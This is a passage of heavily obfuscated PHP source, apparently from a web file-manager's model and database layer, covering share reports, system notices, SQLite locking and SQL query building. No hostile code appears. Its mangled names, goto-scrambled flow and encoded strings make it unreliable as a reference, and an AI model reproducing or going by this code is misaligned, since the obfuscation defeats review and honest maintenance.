array($b[366] => array($b[7], trim($bԊ, $b[47]))); $dܥ = Model($b[747])->where($Aݚ)->field($b[28])->select(); goto E; F: $Aݚ = array($b[415] => array($b[7], $aݹł), $b[455] => array($b[746], "\x25{$cꝽ}\x25"), $b[393] => 0); $aǦ = Model($b[747])->where($Aݚ)->field($b[2207])->find(); if (!$aǦ) { return !1; } goto E㱛; E: $e = array_to_keyvalue($dܥ, $b[33], $b[28]); $e[] = $aǦ[$b[28]]; return implode($b[8], $e); goto A饕֢; A饕֢: } protected function remove($Dۋ۶) { goto fǏ; fǏ: $bŹ =& $_SERVER[ڊ]; if (is_array($Dۋ۶)) { $Dۋ۶ = array($bŹ[7], $Dۋ۶); } $D齐 = array($bŹ[437] => $Dۋ۶); goto F־ⱄ; F־ⱄ: $Eڗ񝽬 = $this->where($D齐)->delete(); if ($Eڗ񝽬) { Model($bŹ[533])->where(array($bŹ[437] => $Dۋ۶))->delete(); } $dп = is_array($Dۋ۶) ? $Dۋ۶[1] : array($Dۋ۶); goto f; f: for ($A = 0; $A < count($dп); $A++) { $d̓ = $this->getInfo($dп[$A]); if ($d̓[$bŹ[444]] == $bŹ[83]) { Model($bŹ[501])->eventShare($d̓[$bŹ[366]], $bŹ[2193]); } if ($d̓[$bŹ[442]] == $bŹ[83]) { Model($bŹ[501])->eventShare($d̓[$bŹ[366]], $bŹ[2192]); } } return $Eڗ񝽬; goto B͡; B͡: } protected function removeBySource($fǴ) { goto fҚΒ; fҚΒ: $eۊʃ =& $_SERVER[ڊ]; $cȨ躳 = array($eۊʃ[380] => array($eۊʃ[381], $fǴ)); $e׳ = $this->field($eۊʃ[437])->where($cȨ躳)->select(); goto C։; fӐ: $this->where($cȨ躳)->delete(); Model($eۊʃ[533])->where($cȨ躳)->delete(); goto FĎ; C։: $e׳ = array_to_keyvalue($e׳, $eۊʃ[33], $eۊʃ[437]); if (!$e׳) { return; } $cȨ躳 = array($eۊʃ[436] => array($eۊʃ[381], $e׳)); goto fӐ; FĎ: } public function listAll($c) { goto c; eߚ: $Eҩ = $this->_makeOrder()->where($f)->selectPage(20); if (empty($Eҩ[$cš[351]])) { return array(); } $this->_listDataApply($Eҩ[$cš[351]]); goto B⩋; c: $cš =& $_SERVER[ڊ]; $f = array(); if ($c[$cš[1409]]) { $f[$cš[1409]] = $c[$cš[1409]]; } goto BЫ¥; B⩋: return $Eҩ; goto Bᆥ; BЫ¥: if ($c[$cš[697]]) { $b = $c[$cš[698]] ? $c[$cš[698]] : strtotime(date($cš[2208])); $f[$cš[184]] = array($cš[318], array($c[$cš[697]], $b)); } if ($c[$cš[29]]) { $f[$c[$cš[29]]] = 1; } else { $f[] = array($cš[442] => array($cš[920], 0), $cš[444] => array($cš[920], 0), $cš[2183] => $cš[2152]); } if ($c[$cš[2148]]) { $f[] = array($cš[439] => $c[$cš[2148]], $cš[1316] => array($cš[746], "\45{$c[$cš[2148]]}\x25"), $cš[2183] => $cš[2152]); } goto eߚ; Bᆥ: } public function listDataApply($c) { $this->_listDataApply($c); return $c; } private function _listDataApply(&$aک݄) { $Bܩ =& $_SERVER[ڊ]; $bꅫ = array_to_keyvalue($aک݄, $Bܩ[33], $Bܩ[1409]); $fפ = Model($Bܩ[473])->userListInfo(array_unique($bꅫ)); $FǺ = array_to_keyvalue($aک݄, $Bܩ[33], $Bܩ[366]); $C = Model($Bܩ[747])->sourceListInfo($FǺ, !0); foreach ($aک݄ as &$Dԇ֐) { $a = $Dԇ֐[$Bܩ[1409]]; $Dԇ֐[$Bܩ[2209]] = $fפ[$a] ? $fפ[$a] : !1; $E = $Dԇ֐[$Bܩ[366]]; $Dԇ֐[$Bܩ[388]] = $C[$E] ? $C[$E] : !1; } } private function _makeOrder($F = '') { goto Cťʔ; d뵤: $F = $F . "{$eщ}\40{$C}"; return $this->order($F); goto CǶ; aׇ: $eщ = Input::get($F[403], $F[7], $F[386], $aϳ֊); $C = Input::get($F[404], $F[7], $F[2210], array($F[2147], $F[400])); $C = $Bݯ[$C]; goto d뵤; Cťʔ: $F =& $_SERVER[ڊ]; $aϳ֊ = array($F[184], $F[698], $F[2195], $F[2196]); $Bݯ = array($F[398] => $F[399], $F[400] => $F[401]); goto aׇ; CǶ: } public function reportAdd($aʌ) { $a傝 =& $_SERVER[ڊ]; $AȜ = array($a傝[437] => $aʌ[$a傝[437]], $a傝[1409] => USER_ID); if (Model($a傝[2206])->where($AȜ)->find()) { return !1; } $c = array($a傝[437] => $aʌ[$a傝[437]], $a傝[1316] => $aʌ[$a傝[1316]], $a傝[366] => $aʌ[$a傝[366]], $a傝[415] => $aʌ[$a傝[415]], $a傝[1409] => USER_ID, $a傝[29] => $aʌ[$a傝[29]], $a傝[401] => $aʌ[$a傝[401]]); return Model($a傝[2206])->add($c); } public function reportList($e™Ҷ) { goto B쉮; F܉: $f = array($bʜ莑[398] => $bʜ莑[399], $bʜ莑[400] => $bʜ莑[401]); $d = $bʜ莑[2214] . $f[$F͈]; $d䶷 = Model($bʜ莑[2206])->where($D)->order($d)->selectPage(20); goto B˖; c: if (isset($e™Ҷ[$bʜ莑[29]]) && in_array($e™Ҷ[$bʜ莑[29]], array($bʜ莑[83], $bʜ莑[2211], $bʜ莑[2212], $bʜ莑[2213], $bʜ莑[1888]))) { $D[$bʜ莑[29]] = $e™Ҷ[$bʜ莑[29]]; } if (isset($e™Ҷ[$bʜ莑[684]]) && in_array($e™Ҷ[$bʜ莑[684]], array($bʜ莑[464], $bʜ莑[83], $bʜ莑[2211], $bʜ莑[2212]))) { $D[$bʜ莑[684]] = $e™Ҷ[$bʜ莑[684]]; } $F͈ = Input::get($bʜ莑[404], $bʜ莑[7], $bʜ莑[2210], array($bʜ莑[2147], $bʜ莑[400])); goto F܉; B˖: if (empty($d䶷[$bʜ莑[351]])) { return array(); } $this->_listDataApply($d䶷[$bʜ莑[351]]); return $d䶷; goto Fռ; B쉮: $bʜ莑 =& $_SERVER[ڊ]; $D = array(); if ($e™Ҷ[$bʜ莑[697]]) { $aҤ = $e™Ҷ[$bʜ莑[698]] ? $e™Ҷ[$bʜ莑[698]] : strtotime(date($bʜ莑[2208])); $D[$bʜ莑[184]] = array($bʜ莑[318], array($e™Ҷ[$bʜ莑[697]], $aҤ)); } goto c; Fռ: } public function reportStatus($f򹒲) { goto DΌ; BϛϺ: $cɗ = Model($Dܳ[2206])->where($A)->save($f); if ($f򹒲[$Dܳ[684]] == $Dܳ[2211]) { if ($c‚˳[$Dܳ[415]] != $Dܳ[464] && $this->shareFileMeta($c‚˳[$Dܳ[415]])) { $this->shareFileMeta($c‚˳[$Dܳ[415]], 0); } return $this->remove($c‚˳[$Dܳ[437]]); } if ($cɗ && $f򹒲[$Dܳ[684]] == $Dܳ[2212]) { $Dѯ = $f[$Dܳ[684]] == $Dܳ[2212] ? 1 : 0; $this->shareFileMeta($c‚˳[$Dܳ[415]], $Dѯ); $this->removeByFile($c‚˳[$Dܳ[415]]); } goto dφŸ; CѲ: if (!$c‚˳) { return !1; } $f = array($Dܳ[684] => $f򹒲[$Dܳ[684]]); if ($f򹒲[$Dܳ[684]] == $Dܳ[2212] && $c‚˳[$Dܳ[684]] == $Dܳ[2212]) { $f[$Dܳ[684]] = 0; } goto BϛϺ; dφŸ: return $cɗ; goto Bﵜ; DΌ: $Dܳ =& $_SERVER[ڊ]; $A = array($Dܳ[364] => $f򹒲[$Dܳ[364]]); $c‚˳ = Model($Dܳ[2206])->where($A)->field($Dܳ[2215])->find(); goto CѲ; Bﵜ: } private function removeByFile($bп) { goto F򽇱; E˔: $E鶉 = array($f[366] => array($f[7], $dۓȊ), $f[442] => 1); $CŬ = Model($f[2049])->where($E鶉)->field($f[437])->select(); if (empty($CŬ)) { return; } goto Cۉ; F򽇱: $f =& $_SERVER[ڊ]; $CŬ = Model($f[747])->where(array($f[415] => $bп))->field($f[366])->select(); $dۓȊ = array_to_keyvalue($CŬ, $f[33], $f[366]); goto E˔; Cۉ: $B = array_to_keyvalue($CŬ, $f[33], $f[437]); $this->remove($B); goto f䣣; f䣣: } private function shareFileMeta($Aꥭ, $C؝ = null) { $D٥ =& $_SERVER[ڊ]; $DѮ = array($D٥[415] => $Aꥭ, $D٥[89] => $D٥[2216]); if (is_null($C؝)) { return Model($D٥[2217])->where($DѮ)->find(); } $DѮ[$D٥[356]] = $C؝; Model($D٥[2217])->add($DѮ, array(), !0); } } goto b; F먔: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\x6d\x2e\156\157\x74\151\143\x65\x4c\x69\163\164"; public $field = array("\x6e\x61\x6d\145", "\143\157\156\x74\145\156\x74", "\141\x75\x74\150", "\155\x6f\x64\x65", "\x74\151\155\145", "\x74\x79\160\145", "\154\145\x76\145\x6c", "\x65\x6e\x61\142\x6c\x65", "\x73\x6f\x72\164"); public function listData($a = false, $cʘ = "\163\x6f\162\164", $F℡ = false) { return parent::listData($a, $cʘ, $F℡); } public function add($e) { goto Aś; a̎: return parent::insert($e); goto d; bɠ: $d = time(); if ($e[$eɧ[12]] == $eɧ[2431]) { $d = strtotime($e[$eɧ[187]]); } $e[$eɧ[187]] = $d; goto a̎; Aś: $eɧ =& $_SERVER[ڊ]; $Cڶ = $this->findByName($e[$eɧ[28]]); if ($Cڶ) { return !1; } goto bɠ; d: } public function update($fЄ, $B) { goto b; b: $dΤֆ =& $_SERVER[ڊ]; $bݏ = $this->listData($fЄ); $b뙘ۉ = $this->findByName($B[$dΤֆ[28]]); goto bŃ; B: $B[$dΤֆ[187]] = $f; return parent::update($fЄ, $B); goto dͺ; bŃ: if (!$bݏ || $b뙘ۉ && $b뙘ۉ[$dΤֆ[364]] != $bݏ[$dΤֆ[364]]) { return !1; } $f = time(); if ($B[$dΤֆ[12]] == $dΤֆ[2431]) { $f = strtotime($B[$dΤֆ[187]]); } goto B; dͺ: } public function remove($Cʣ) { $fꏑ = $this->listData($Cʣ); if (!$fꏑ || $fꏑ[$_SERVER[ڊ][1072]]) { return !1; } return parent::remove($Cʣ); } public function sort($d, $fӍʜ) { return parent::update($d, $fӍʜ); } public function enable($d↸, $D) { return parent::update($d↸, array($_SERVER[ڊ][2432] => $D)); } private function initUserOption() { $C͂ê =& $_SERVER[ڊ]; $this->optionType = $C͂ê[2433]; $this->modelType = $C͂ê[2434]; $this->field = array($C͂ê[2435], $C͂ê[28], $C͂ê[187], $C͂ê[29], $C͂ê[2436], $C͂ê[684], $C͂ê[180]); } public function userNoticeGet($C = false) { $this->initUserOption(); return parent::listData($C, $_SERVER[ڊ][364], !0); } public function userNoticeAdd($Bǂ̘) { $E̯ =& $_SERVER[ڊ]; $this->initUserOption(); $E좃 = $this->findByKey($E̯[2435], $Bǂ̘[$E̯[364]]); if ($E좃) { return !0; } $E衅ƅ = array($E̯[2435] => $Bǂ̘[$E̯[364]], $E̯[28] => $Bǂ̘[$E̯[28]], $E̯[187] => $Bǂ̘[$E̯[187]], $E̯[29] => isset($Bǂ̘[$E̯[29]]) ? $Bǂ̘[$E̯[29]] : 1, $E̯[2436] => isset($Bǂ̘[$E̯[2436]]) ? $Bǂ̘[$E̯[2436]] : 0, $E̯[684] => 0, $E̯[180] => 0); return parent::insert($E衅ƅ); } public function userNoticeEdit($B֪, $bφỽ) { $this->initUserOption(); return parent::update($B֪, $bφỽ); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\171\x73\x74\x65\155\137\x6f\160\164\151\x6f\156"; protected $jsonField = array("\155\145\156\165", "\x72\x6f\154\x65", "\162\157\154\145\x47\x72\157\165\x70", "\x72\145\147\x69\163\x74", "\145\155\141\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($bԎԭ) { return "\x53\x79\163\164\x65\x6d\117\x70\164\151\157\156\x5f{$bԎԭ}"; } protected function optionDefault($bꄃ茾 = '') { $b =& $_SERVER[ڊ]; if ($bꄃ茾 == $b[33]) { return $GLOBALS[$b[6]][$b[2437]]; } } } class SystemRecordModel extends ModelBaseLight { } goto D; fۭܶ: class DbSqlite3 extends DbSqlite3Base { public function query($D̊) { goto b; b: $Aֻ =& $_SERVER[ڊ]; $CƆ = DATA_PATH . $Aֻ[866]; $Fྲ = fopen($CƆ, $Aֻ[867]); goto F; aאח: fclose($Fྲ); show_json($Aֻ[868], !1); return !1; goto D; F: if (!$Fྲ) { return !1; } if (flock($Fྲ, LOCK_EX)) { $c = parent::query($D̊); flock($Fྲ, LOCK_UN); fclose($Fྲ); return $c; } flock($Fྲ, LOCK_UN); goto aאח; D: } public function execute($Eޯï) { goto cܤ; e߈: if (!$b) { return !1; } if (flock($b, LOCK_EX)) { $dۯ = parent::execute($Eޯï); flock($b, LOCK_UN); fclose($b); return $dۯ; } flock($b, LOCK_UN); goto fܜ; fܜ: fclose($b); show_json($cҲ[868], !1); return !1; goto Aۅ; cܤ: $cҲ =& $_SERVER[ڊ]; $F됋׾ = DATA_PATH . $cҲ[866]; $b = fopen($F됋׾, $cҲ[867]); goto e߈; Aۅ: } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\150\x69\156\153\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $exp = array("\145\x71" => "\x3d", "\156\145\161" => "\74\76", "\x67\x74" => "\x3e", "\145\x67\x74" => "\x3e\75", "\x6c\164" => "\x3c", "\x65\154\164" => "\74\75", "\156\157\x74\x6c\x69\153\145" => "\116\x4f\x54\40\114\111\x4b\x45", "\154\151\x6b\x65" => "\114\111\113\x45", "\x69\x6e" => "\111\116", "\156\x6f\x74\x69\x6e" => "\116\117\x54\x20\x49\x4e", "\x6e\x6f\164\40\x69\x6e" => "\116\x4f\x54\40\x49\116", "\142\145\164\x77\145\x65\156" => "\102\105\124\127\x45\105\116", "\156\x6f\x74\142\x65\164\167\145\x65\156" => "\x4e\117\x54\40\x42\x45\x54\x57\105\x45\x4e", "\x6e\x6f\164\x20\142\145\x74\167\x65\x65\x6e" => "\x4e\x4f\124\x20\x42\105\124\x57\x45\105\116"); protected $selectSql = "\123\x45\114\x45\103\124\x25\104\x49\123\124\x49\x4e\x43\x54\x25\40\45\x46\x49\x45\114\x44\x25\x20\106\122\117\115\x20\45\x54\x41\x42\114\105\x25\45\112\x4f\111\116\x25\45\x57\x48\105\122\x45\x25\45\x47\x52\117\x55\120\x25\45\x48\101\126\x49\x4e\107\45\x25\x4f\x52\104\x45\x52\45\x25\x4c\111\115\x49\x54\x25\40\45\125\x4e\x49\x4f\x4e\x25\45\103\x4f\x4d\115\105\116\124\x25"; protected $bind = array(); public static function getInstance() { $A = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ڊ][869], $A); } public function factory($b = '') { goto Dϧ񡟵; eˋ: $this->dbType = ucwords(strtolower($b[$EԸҹ[870]])); $Aߘ = $EԸҹ[872] . $this->dbType; if (class_exists($Aߘ)) { $BᎵ = new $Aߘ($b); if ($EԸҹ[719] != strtolower($b[$EԸҹ[870]])) { $BᎵ->dbType = strtoupper($this->dbType); } else { $BᎵ->dbType = $this->_getDsnType($b[$EԸҹ[822]]); } } else { think_exception(think_lang($EԸҹ[873]) . $EԸҹ[874] . $Aߘ); } goto Bٰ; Bٰ: return $BᎵ; goto C뿄߉÷; Dϧ񡟵: $EԸҹ =& $_SERVER[ڊ]; $b = $this->parseConfig($b); if (empty($b[$EԸҹ[870]])) { think_exception(think_lang($EԸҹ[871])); } goto eˋ; C뿄߉÷: } public function __call($d, $A죊Ϙ) { if (method_exists($this, $d)) { return call_user_func_array(array($this, $d), $A죊Ϙ); } } protected function _getDsnType($C) { $aʍ = explode($_SERVER[ڊ][4], $C); $bύђ = strtoupper(trim($aʍ[0])); return $bύђ; } private function parseConfig($B = '') { $AĆƷ =& $_SERVER[ڊ]; if (!empty($B) && is_string($B)) { $B = $this->parseDSN($B); } elseif (is_array($B)) { $B = array_change_key_case($B); $B = array($AĆƷ[870] => $B[$AĆƷ[718]], $AĆƷ[795] => $B[$AĆƷ[875]], $AĆƷ[796] => $B[$AĆƷ[876]], $AĆƷ[793] => $B[$AĆƷ[877]], $AĆƷ[794] => $B[$AĆƷ[878]], $AĆƷ[17] => $B[$AĆƷ[879]], $AĆƷ[822] => $B[$AĆƷ[720]], $AĆƷ[13] => isset($B[$AĆƷ[880]]) ? $B[$AĆƷ[880]] : array()); } elseif (empty($B)) { if (think_config($AĆƷ[881]) && $AĆƷ[719] != strtolower(think_config($AĆƷ[882]))) { $B = $this->parseDSN(think_config($AĆƷ[881])); } else { $B = array($AĆƷ[870] => think_config($AĆƷ[882]), $AĆƷ[795] => think_config($AĆƷ[883]), $AĆƷ[796] => think_config($AĆƷ[884]), $AĆƷ[793] => think_config($AĆƷ[885]), $AĆƷ[794] => think_config($AĆƷ[886]), $AĆƷ[17] => think_config($AĆƷ[231]), $AĆƷ[822] => think_config($AĆƷ[881]), $AĆƷ[13] => think_config($AĆƷ[887])); } } return $B; } protected function initConnect($A؞ݬ = true) { if (1 == think_config($_SERVER[ڊ][18])) { $this->_linkID = $this->multiConnect($A؞ݬ); } else { if (!$this->connected) { $this->_linkID = $this->connect(); } } } protected function multiConnect($Eؗ㈢ = false) { $d =& $_SERVER[ڊ]; static $dң = array(); if (empty($dң)) { foreach ($this->config as $c𳠻 => $aة) { $dң[$c𳠻] = explode($d[47], $aة); } } if (think_config($d[888])) { if ($Eؗ㈢) { $A = floor(mt_rand(0, think_config($d[889]) - 1)); } else { if (is_numeric(think_config($d[890]))) { $A = think_config($d[890]); } else { $A = floor(mt_rand(think_config($d[889]), count($dң[$d[793]]) - 1)); } } } else { $A = floor(mt_rand(0, count($dң[$d[793]]) - 1)); } $A = array($d[795] => isset($dң[$d[795]][$A]) ? $dң[$d[795]][$A] : $dң[$d[795]][0], $d[796] => isset($dң[$d[796]][$A]) ? $dң[$d[796]][$A] : $dң[$d[796]][0], $d[793] => isset($dң[$d[793]][$A]) ? $dң[$d[793]][$A] : $dң[$d[793]][0], $d[794] => isset($dң[$d[794]][$A]) ? $dң[$d[794]][$A] : $dң[$d[794]][0], $d[17] => isset($dң[$d[17]][$A]) ? $dң[$d[17]][$A] : $dң[$d[17]][0], $d[822] => isset($dң[$d[822]][$A]) ? $dң[$d[822]][$A] : $dң[$d[822]][0], $d[13] => isset($dң[$d[13]][$A]) ? $dң[$d[13]][$A] : $dң[$d[13]][0]); return $this->connect($A, $A); } public function parseDSN($F헶ԣ) { $eЍ =& $_SERVER[ڊ]; if (empty($F헶ԣ)) { return !1; } $C = parse_url($F헶ԣ); if ($C[$eЍ[165]]) { $eۅц = array($eЍ[870] => $C[$eЍ[165]], $eЍ[795] => isset($C[$eЍ[531]]) ? $C[$eЍ[531]] : $eЍ[33], $eЍ[796] => isset($C[$eЍ[891]]) ? $C[$eЍ[891]] : $eЍ[33], $eЍ[793] => isset($C[$eЍ[166]]) ? $C[$eЍ[166]] : $eЍ[33], $eЍ[794] => isset($C[$eЍ[167]]) ? $C[$eЍ[167]] : $eЍ[33], $eЍ[17] => isset($C[$eЍ[75]]) ? substr($C[$eЍ[75]], 1) : $eЍ[33]); } else { preg_match($eЍ[892], trim($F헶ԣ), $b); $eۅц = array($eЍ[870] => $b[1], $eЍ[795] => $b[2], $eЍ[796] => $b[3], $eЍ[793] => $b[4], $eЍ[794] => $b[5], $eЍ[17] => $b[6]); } $eۅц[$eЍ[822]] = $eЍ[33]; return $eۅц; } protected function debug() { $bʄʤ =& $_SERVER[ڊ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $bʄʤ[893]; if (think_config($bʄʤ[894])) { think_status($bʄʤ[895]); think_trace($this->queryStr . $bʄʤ[896] . think_status($bʄʤ[20], $bʄʤ[895], 6) . $bʄʤ[897], $bʄʤ[33], $bʄʤ[898]); } } protected function parseLock($b = false) { $Cܑ =& $_SERVER[ڊ]; if (!$b) { return $Cܑ[33]; } if ($Cܑ[824] == $this->dbType) { return $Cܑ[899]; } return $Cܑ[900]; } protected function parseSet($E͢) { $eŦݵۤ =& $_SERVER[ڊ]; foreach ($E͢ as $Dҏ => $B) { if (is_array($B) && $eŦݵۤ[282] == $B[0]) { $f簗[] = $this->parseKey($Dҏ) . $eŦݵۤ[901] . $B[1]; } elseif (is_scalar($B) || is_null($B)) { $f簗[] = $this->parseKey($Dҏ) . $eŦݵۤ[901] . $this->parseValue($B); } } return $eŦݵۤ[902] . implode($eŦݵۤ[47], $f簗); } protected function bindParam($bⓍ巜, $eď) { $this->bind[$_SERVER[ڊ][4] . $bⓍ巜] = $eď; } protected function parseBind($a̽) { $a̽ = array_merge($this->bind, $a̽); $this->bind = array(); return $a̽; } function parseKey(&$A, $f = true) { if ($f) { $A = $this->parseKeyCheck($A); } return $A; } function parseKeyCheck($f) { $D֑ =& $_SERVER[ڊ]; $f = trim($f); if (!preg_match($D֑[903], $f)) { think_exception($D֑[904] . $f); } return $f; } protected function parseValue($A֩ϯ) { $b؟ =& $_SERVER[ڊ]; if (is_string($A֩ϯ)) { $A֩ϯ = $b؟[863] . $this->escapeString($A֩ϯ) . $b؟[863]; } elseif (isset($A֩ϯ[0]) && is_string($A֩ϯ[0]) && strtolower($A֩ϯ[0]) == $b؟[282]) { $A֩ϯ = $this->escapeString($A֩ϯ[1]); } elseif (is_array($A֩ϯ)) { $A֩ϯ = array_map(array($this, $b؟[864]), $A֩ϯ); } elseif (is_bool($A֩ϯ)) { $A֩ϯ = $A֩ϯ ? $b؟[83] : $b؟[464]; } elseif (is_null($A֩ϯ)) { $A֩ϯ = $b؟[101]; } return $A֩ϯ; } protected function parseField($A) { $Aޭ =& $_SERVER[ڊ]; if (is_string($A) && strpos($A, $Aޭ[47])) { $A = explode($Aޭ[47], $A); } if (is_array($A)) { $cۼ = array(); foreach ($A as $C¶ => $F) { if (!is_numeric($C¶)) { $cۼ[] = $this->parseKey($C¶) . $Aޭ[905] . $this->parseKey($F); } else { $cۼ[] = $this->parseKey($F); } } $a鏿 = implode($Aޭ[47], $cۼ); } elseif (is_string($A) && !empty($A)) { $a鏿 = $A; } else { $a鏿 = $Aޭ[173]; } return $a鏿; } protected function parseTable($a۫) { $FЖʐ =& $_SERVER[ڊ]; if (is_array($a۫)) { $eƒѢ = array(); foreach ($a۫ as $Fƙ => $bĖ) { if (!is_numeric($Fƙ)) { $eƒѢ[] = $this->parseKey($Fƙ) . $FЖʐ[50] . $this->parseKey($bĖ); } else { $eƒѢ[] = $this->parseKey($Fƙ); } } $a۫ = $eƒѢ; } elseif (is_string($a۫)) { if (strstr($a۫, $FЖʐ[50])) { return $a۫; } $a۫ = explode($FЖʐ[47], $a۫); array_walk($a۫, array($this, $FЖʐ[812])); } return $FЖʐ[906] . trim(implode($FЖʐ[907], $a۫), $FЖʐ[818]) . $FЖʐ[906]; } protected function parseWhere($eܳ匮) { $f =& $_SERVER[ڊ]; $C = $f[33]; if (is_string($eܳ匮)) { $C = $eܳ匮; } else { $d߂ = isset($eܳ匮[$f[908]]) ? strtoupper($eܳ匮[$f[908]]) : $f[33]; if (in_array($d߂, array($f[909], $f[910], $f[911]))) { $d߂ = $f[50] . $d߂ . $f[50]; unset($eܳ匮[$f[908]]); } else { $d߂ = $f[912]; } foreach ($eܳ匮 as $e => $c) { $C .= $f[262]; if (is_numeric($e)) { $e = $f[913]; } if (0 === strpos($e, $f[70])) { $C .= $this->parseThinkWhere($e, $c); } else { if (!preg_match($f[914], trim($e))) { think_exception(think_lang($f[915]) . $f[4] . $e); } $aÄ = is_array($c) && isset($c[$f[916]]); $e = trim($e); if (strpos($e, $f[268])) { $BØш = explode($f[268], $e); $F몝 = array(); foreach ($BØш as $cŢ => $EǕ) { $cۙ = $aÄ ? $c[$cŢ] : $c; $F몝[] = $f[245] . $this->parseWhereItem($this->parseKey($EǕ), $cۙ) . $f[811]; } $C .= implode($f[917], $F몝); } elseif (strpos($e, $f[269])) { $BØш = explode($f[269], $e); $F몝 = array(); foreach ($BØш as $cŢ => $EǕ) { $cۙ = $aÄ ? $c[$cŢ] : $c; $F몝[] = $f[245] . $this->parseWhereItem($this->parseKey($EǕ), $cۙ) . $f[811]; } $C .= implode($f[912], $F몝); } else { $C .= $this->parseWhereItem($this->parseKey($e), $c); } } $C .= $f[263] . $d߂; } $C = substr($C, 0, -strlen($d߂)); } return empty($C) ? $f[33] : $f[918] . $C; } protected function parseWhereItem($F, $cȕ) { $Aב =& $_SERVER[ڊ]; $Aߍ = $Aב[33]; if (is_array($cȕ)) { if (is_string($cȕ[0])) { $a = strtolower($cȕ[0]); if (in_array($cȕ[0], array($Aב[901], $Aב[919], $Aב[920], $Aב[921], $Aב[922], $Aב[923]))) { $Aߍ .= $F . $Aב[50] . $cȕ[0] . $Aב[50] . $this->parseValue($cȕ[1]); } elseif (preg_match($Aב[924], $cȕ[0])) { $Aߍ .= $F . $Aב[50] . $this->exp[$a] . $Aב[50] . $this->parseValue($cȕ[1]); } elseif (preg_match($Aב[925], $cȕ[0])) { if (is_array($cȕ[1])) { $F = isset($cȕ[2]) ? strtoupper($cȕ[2]) : $Aב[910]; if (in_array($F, array($Aב[909], $Aב[910], $Aב[911]))) { $fԯ = array(); foreach ($cȕ[1] as $C̫) { $fԯ[] = $F . $Aב[50] . $this->exp[$a] . $Aב[50] . $this->parseValue($C̫); } $Aߍ .= $Aב[245] . implode($Aב[50] . $F . $Aב[50], $fԯ) . $Aב[811]; } } else { $Aߍ .= $F . $Aב[50] . $this->exp[$a] . $Aב[50] . $this->parseValue($cȕ[1]); } } elseif ($Aב[282] == $a) { $Aߍ .= $Aב[809] . $F . $Aב[50] . $cȕ[1] . $Aב[926]; } elseif (preg_match($Aב[927], $cȕ[0])) { if (isset($cȕ[2]) && $Aב[282] == $cȕ[2]) { $Aߍ .= $F . $Aב[50] . $this->exp[$a] . $Aב[50] . $cȕ[1]; } else { if (is_string($cȕ[1])) { $cȕ[1] = explode($Aב[47], $cȕ[1]); } $E󓦡 = implode($Aב[47], $this->parseValue($cȕ[1])); $Aߍ .= $F . $Aב[50] . $this->exp[$a] . $Aב[809] . $E󓦡 . $Aב[811]; } } elseif (preg_match($Aב[928], $cȕ[0])) { $Eɉ = is_string($cȕ[1]) ? explode($Aב[47], $cȕ[1]) : $cȕ[1]; $Aߍ .= $Aב[809] . $F . $Aב[50] . $this->exp[$a] . $Aב[50] . $this->parseValue($Eɉ[0]) . $Aב[912] . $this->parseValue($Eɉ[1]) . $Aב[263]; } else { think_exception(think_lang($Aב[915]) . $Aב[4] . $cȕ[0]); } } else { $fꄃ = count($cȕ); $FÇ = isset($cȕ[$fꄃ - 1]) ? strtoupper($cȕ[$fꄃ - 1]) : $Aב[33]; if (in_array($FÇ, array($Aב[909], $Aב[910], $Aב[911]))) { $fꄃ = $fꄃ - 1; } else { $FÇ = $Aב[909]; } for ($aԘ禮 = 0; $aԘ禮 < $fꄃ; $aԘ禮++) { $Eɉ = is_array($cȕ[$aԘ禮]) ? $cȕ[$aԘ禮][1] : $cȕ[$aԘ禮]; if ($Aב[282] == strtolower($cȕ[$aԘ禮][0])) { $Aߍ .= $Aב[245] . $F . $Aב[50] . $Eɉ . $Aב[926] . $FÇ . $Aב[50]; } else { $c = is_array($cȕ[$aԘ禮]) ? $this->exp[strtolower($cȕ[$aԘ禮][0])] : $Aב[901]; if (!$c && is_array($cȕ[$aԘ禮]) && in_array($cȕ[$aԘ禮][0], array($Aב[901], $Aב[919], $Aב[920], $Aב[921], $Aב[922], $Aב[923]))) { $c = $cȕ[$aԘ禮][0]; } $Aߍ .= $Aב[245] . $F . $Aב[50] . $c . $Aב[50] . $this->parseValue($Eɉ) . $Aב[926] . $FÇ . $Aב[50]; } } $Aߍ = substr($Aߍ, 0, -4); } } else { $Aߍ .= $F . $Aב[929] . $this->parseValue($cȕ); } return $Aߍ; } protected function parseThinkWhere($fΔߊ, $b) { $aޝ =& $_SERVER[ڊ]; $aDz˗ = $aޝ[33]; switch ($fΔߊ) { case $aޝ[336]: $aDz˗ = $b; break; case $aޝ[913]: $aDz˗ = is_string($b) ? $b : substr($this->parseWhere($b), 6); break; case $aޝ[930]: parse_str($b, $bΙ); if (isset($bΙ[$aޝ[908]])) { $D֎՛ = $aޝ[50] . strtoupper($bΙ[$aޝ[908]]) . $aޝ[50]; unset($bΙ[$aޝ[908]]); } else { $D֎՛ = $aޝ[912]; } $FҐ = array(); foreach ($bΙ as $B => $Dߟ) { $FҐ[] = $this->parseKey($B) . $aޝ[929] . $this->parseValue($Dߟ); } $aDz˗ = implode($D֎՛, $FҐ); break; } return $aDz˗; } protected function parseLimit($BÙ) { $d蚉 =& $_SERVER[ڊ]; return !empty($BÙ) ? $d蚉[48] . $BÙ . $d蚉[50] : $d蚉[33]; } protected function parseJoin($f) { $E֐ =& $_SERVER[ڊ]; $Aެ = $E֐[33]; if (!empty($f)) { if (is_array($f)) { foreach ($f as $B => $D۞ܾ) { if (!1 !== stripos($D۞ܾ, $E֐[931])) { $Aެ .= $E֐[50] . $D۞ܾ; } else { $Aެ .= $E֐[932] . $D۞ܾ; } } } else { $Aެ .= $E֐[932] . $f; } } $Aެ = preg_replace($E֐[933], think_config($E֐[836]) . $E֐[934], $Aެ); return $Aެ; } protected function parseOrder($aא) { $b䐹 =& $_SERVER[ڊ]; if (is_array($aא)) { $cőǚ = array(); foreach ($aא as $fϻ => $Bȓ) { if (is_numeric($fϻ)) { $cőǚ[] = $this->parseKey($Bȓ); } else { $Bȓ = in_array(strtoupper(trim($Bȓ)), array($b䐹[935], $b䐹[936])) ? $b䐹[50] . $Bȓ : $b䐹[33]; 